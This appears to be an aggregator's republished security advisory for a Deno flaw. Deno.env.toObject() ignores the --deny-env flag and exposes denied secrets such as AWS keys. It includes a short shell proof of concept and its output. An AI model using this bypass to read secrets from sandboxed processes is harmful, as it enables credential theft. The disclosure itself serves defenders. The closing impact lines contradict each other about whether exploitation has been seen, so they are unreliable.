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GHSA-7w8p-chxq-2789
No affected components available
Summary
The Deno.env.toObject method ignores any variables listed in the --deny-env option of the deno run command. When looking at the documentation of the --deny-env option this might lead to a false impression that variables listed in the option are impossible to read.
PoC
export AWS_SECRET_ACCESS_KEY=my-secret-aws-key
# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
The first example using get exits with the following error:
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
^
at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
at file:///$deno$stdin.mts:1:22
The second example using toObject prints all environment variables:
[Object: null prototype] {
...
AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
...
}
Impact
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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